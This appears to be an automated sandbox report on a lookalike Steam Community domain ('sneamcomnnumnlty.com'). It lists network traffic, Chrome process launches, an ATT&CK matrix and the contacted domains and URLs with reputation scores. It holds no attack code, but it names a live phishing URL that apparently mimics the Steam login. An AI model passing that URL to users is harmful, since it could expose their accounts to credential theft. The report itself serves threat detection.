Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50257
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50279
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50281
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50282
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49729 version: TLS 1.2

Source: classification engine

Classification label: mal48.win@25/459@78/27

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2200,i,535189481859360234,10417123737869248396,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://sneamcomnnumnlty.com/fact/actual/get"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1964,i,6013309467918627893,8673806943052136411,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2200,i,535189481859360234,10417123737869248396,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1964,i,6013309467918627893,8673806943052136411,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://sneamcomnnumnlty.com/fact/actual/get	8%	Virustotal		Browse

Source	Detection	Scanner	Link
a.nel.cloudflare.com	0%	Virustotal	Browse
jsdelivr.map.fastly.net	0%	Virustotal	Browse
s-part-0017.t-0009.t-msedge.net	0%	Virustotal	Browse
api.steampowered.com	0%	Virustotal	Browse
help.steampowered.com	1%	Virustotal	Browse
fonts.cdnfonts.com	0%	Virustotal	Browse
cdn.akamai.steamstatic.com	0%	Virustotal	Browse
s-part-0044.t-0009.fb-t-msedge.net	0%	Virustotal	Browse
s-part-0017.t-0009.fb-t-msedge.net	0%	Virustotal	Browse
recaptcha.net	0%	Virustotal	Browse
code.jquery.com	1%	Virustotal	Browse
store.steampowered.com	0%	Virustotal	Browse
cdnjs.cloudflare.com	0%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
store.akamai.steamstatic.com	0%	Virustotal	Browse
sneamcomnnumnlty.com	1%	Virustotal	Browse
login.steampowered.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
cdn.jsdelivr.net	0%	Virustotal	Browse
community.cloudflare.steamstatic.com	0%	Virustotal	Browse
community.akamai.steamstatic.com	0%	Virustotal	Browse
bg.microsoft.map.fastly.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://store.steampowered.com/mobile	0%	URL Reputation	safe
https://support.google.com/recaptcha/#6175971	0%	URL Reputation	safe
https://support.google.com/recaptcha	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://cloud.google.com/contact	0%	URL Reputation	safe
https://www.gstatic.c..?/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__.	0%	URL Reputation	safe
https://cloud.google.com/recaptcha-enterprise/billing-information	0%	URL Reputation	safe
https://steamcommunity.com/chat/group/	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english	0%	Virustotal		Browse
https://store.steampowered.com/account/ajaxcreatewalletandcheckfunds/	0%	Virustotal		Browse
https://help.steampowered.com/public/shared/fonts/MotivaSans-Black.ttf?v=4.015	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/buttons/icons_16.png?v=5);	0%	Virustotal		Browse
https://github.com/jquery/jquery-color	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=Rzrd3uCdRpEQ&l=english	0%	Virustotal		Browse
https://help.steampowered.com/th/	0%	Virustotal		Browse
https://developers.google.com/analytics/devguides/collection/analyticsjs/single-page-applications	0%	Virustotal		Browse
https://steam.tv	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_1-2.png	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/community/levels_patterns_3-4.png?v=2	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jsdelivr.map.fastly.net	151.101.65.229	true	false	0%, Virustotal, Browse	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	0%, Virustotal, Browse	unknown
fonts.cdnfonts.com	172.67.184.158	true	false	0%, Virustotal, Browse	unknown
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	0%, Virustotal, Browse	unknown
api.steampowered.com	92.122.104.90	true	false	0%, Virustotal, Browse	unknown
help.steampowered.com	23.197.127.21	true	false	1%, Virustotal, Browse	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	0%, Virustotal, Browse	unknown
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	0%, Virustotal, Browse	unknown
cdn.akamai.steamstatic.com	2.19.126.73	true	false	0%, Virustotal, Browse	unknown
community.cloudflare.steamstatic.com	172.64.145.151	true	false	0%, Virustotal, Browse	unknown
recaptcha.net	142.250.185.227	true	false	0%, Virustotal, Browse	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
steamcommunity.com	104.102.49.254	true	false	0%, Virustotal, Browse	unknown
code.jquery.com	151.101.194.137	true	false	1%, Virustotal, Browse	unknown
store.steampowered.com	88.221.169.65	true	false	0%, Virustotal, Browse	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	0%, Virustotal, Browse	unknown
sneamcomnnumnlty.com	104.21.91.169	true	false	1%, Virustotal, Browse	unknown
www.google.com	172.217.16.196	true	false	0%, Virustotal, Browse	unknown
store.akamai.steamstatic.com	2.19.126.227	true	false	0%, Virustotal, Browse	unknown
login.steampowered.com	92.122.104.90	true	false	0%, Virustotal, Browse	unknown
community.akamai.steamstatic.com	2.16.164.107	true	false	0%, Virustotal, Browse	unknown
cdn.jsdelivr.net	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/sales_english-json.js?contenthash=3e3b65fabec655df899a	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	false		unknown
https://sneamcomnnumnlty.com/7d1d7c577e0751565c564646125377644741747d7b56.woff2	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg	false		unknown
https://store.akamai.steamstatic.com/public/images/mobile/steam_mobile_qr_code.png	false		unknown
https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=6PFqex5UPprb&l=english	false		unknown
https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg	false		unknown
https://store.akamai.steamstatic.com/public/shared/javascript/login.js?v=v36TDHXA_sAC&l=english	false		unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/578080/609f27278aa70697c13bf99f32c5a0248c381f9d.jpg	false		unknown
https://store.steampowered.com/favicon.ico	false		unknown
https://help.steampowered.com/ru/public/shared/javascript/legacy_web/main.js?v=uR8sIBCNvNhG	false		unknown
https://store.akamai.steamstatic.com/public/images/x9x9.gif	false		unknown
https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015	false		unknown
https://help.steampowered.com/public/shared/css/shared_responsive.css?v=exm1WeGiLGq1	false		unknown
https://help.steampowered.com/public/shared/images/header/btn_header_installsteam_download.png?v=1	false		unknown
https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff	false		unknown
https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm	false		unknown
https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/googleplaystore/google_play_store_english.png	false		unknown
https://sneamcomnnumnlty.com/7d1d7c577e075156525357795806585962505e5c	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/chat/group/	chromecache_270.2.dr, chromecache_385.2.dr, chromecache_332.2.dr, chromecache_344.2.dr, chromecache_472.2.dr	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/login/?redir=login%2F%3F14__global-header&redir_ssl=1&snr=1_60_4__glo	chromecache_223.2.dr	false		unknown
https://checkout.steampowered.com/checkout/submitproofofpurchase	chromecache_216.2.dr, chromecache_453.2.dr	false		unknown
https://store.steampowered.com/account/ajaxcreatewalletandcheckfunds/	chromecache_384.2.dr, chromecache_403.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=Rzrd3uCdRpEQ&l=english	chromecache_410.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/shared/images/buttons/icons_16.png?v=5);	chromecache_292.2.dr, chromecache_461.2.dr	false	0%, Virustotal, Browse	unknown
https://help.steampowered.com/public/shared/fonts/MotivaSans-Black.ttf?v=4.015	chromecache_258.2.dr	false	0%, Virustotal, Browse	unknown
https://github.com/jquery/jquery-color	chromecache_440.2.dr, chromecache_256.2.dr	false	0%, Virustotal, Browse	unknown
https://developers.google.com/analytics/devguides/collection/analyticsjs/single-page-applications	chromecache_216.2.dr, chromecache_453.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_patterns_3-4.png?v=2	chromecache_295.2.dr	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/points/shop/?snr=1_mobilehome_14__global-header	chromecache_410.2.dr	false		unknown
https://steam.tv	chromecache_345.2.dr, chromecache_359.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_1-2.png	chromecache_295.2.dr	false	0%, Virustotal, Browse	unknown
https://help.steampowered.com/th/	chromecache_367.2.dr	false	0%, Virustotal, Browse	unknown
https://support.google.com/recaptcha/#6175971	chromecache_264.2.dr, chromecache_422.2.dr, chromecache_235.2.dr	false	URL Reputation: safe	unknown
https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff)	chromecache_210.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/friendindicator_small.png	chromecache_295.2.dr	false		unknown
http://api.jqueryui.com/size-effect/	chromecache_440.2.dr, chromecache_256.2.dr	false		unknown
https://support.google.com/recaptcha	chromecache_422.2.dr, chromecache_235.2.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/wizard/HelpWithWalletCode	chromecache_384.2.dr, chromecache_403.2.dr	false		unknown
https://steamcommunity.com/chat/	chromecache_270.2.dr, chromecache_385.2.dr, chromecache_332.2.dr, chromecache_344.2.dr, chromecache_472.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=tzDCtkxeI-e5&l=en	chromecache_464.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_hexagons.png	chromecache_295.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/mobile_chat/mobile_chat_en	chromecache_410.2.dr	false		unknown
https://help.steampowered.com/public/images/arrow_right_white.png	chromecache_328.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/responsive/local_menu_hamburger.png	chromecache_351.2.dr, chromecache_433.2.dr	false		unknown
https://help.steampowered.com/vi/	chromecache_367.2.dr	false		unknown
https://help.steampowered.com/public/images//ico_arrow_dn_for_select.png	chromecache_328.2.dr	false		unknown
https://store.steampowered.com/steam_refunds/?snr=1_mobilehome_14__global-responsive-menu	chromecache_410.2.dr	false		unknown
https://help.steampowered.com/de/	chromecache_367.2.dr	false		unknown
https://help.steampowered.com/fi/	chromecache_367.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_space.png	chromecache_295.2.dr	false		unknown
https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer	chromecache_445.2.dr	false		unknown
https://store.steampowered.com/friends/recommendgame	chromecache_200.2.dr, chromecache_201.2.dr, chromecache_226.2.dr, chromecache_312.2.dr	false		unknown
https://help.steampowered.com/ru/login/logout/	chromecache_453.2.dr	false		unknown
https://help.steampowered.com/ru/login/getrsakey/	chromecache_216.2.dr, chromecache_453.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english	chromecache_464.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=BoPNbbsndIQb&l=english	chromecache_223.2.dr	false		unknown
https://help.steampowered.com/public/shared/images/joinsteam/new_login_bg_strong_mask_mobile.jpg	chromecache_328.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxCancelSteamChinaAccessDeletion/	chromecache_216.2.dr, chromecache_453.2.dr	false		unknown
http://www.robertpenner.com/easing)	chromecache_440.2.dr, chromecache_256.2.dr	false		unknown
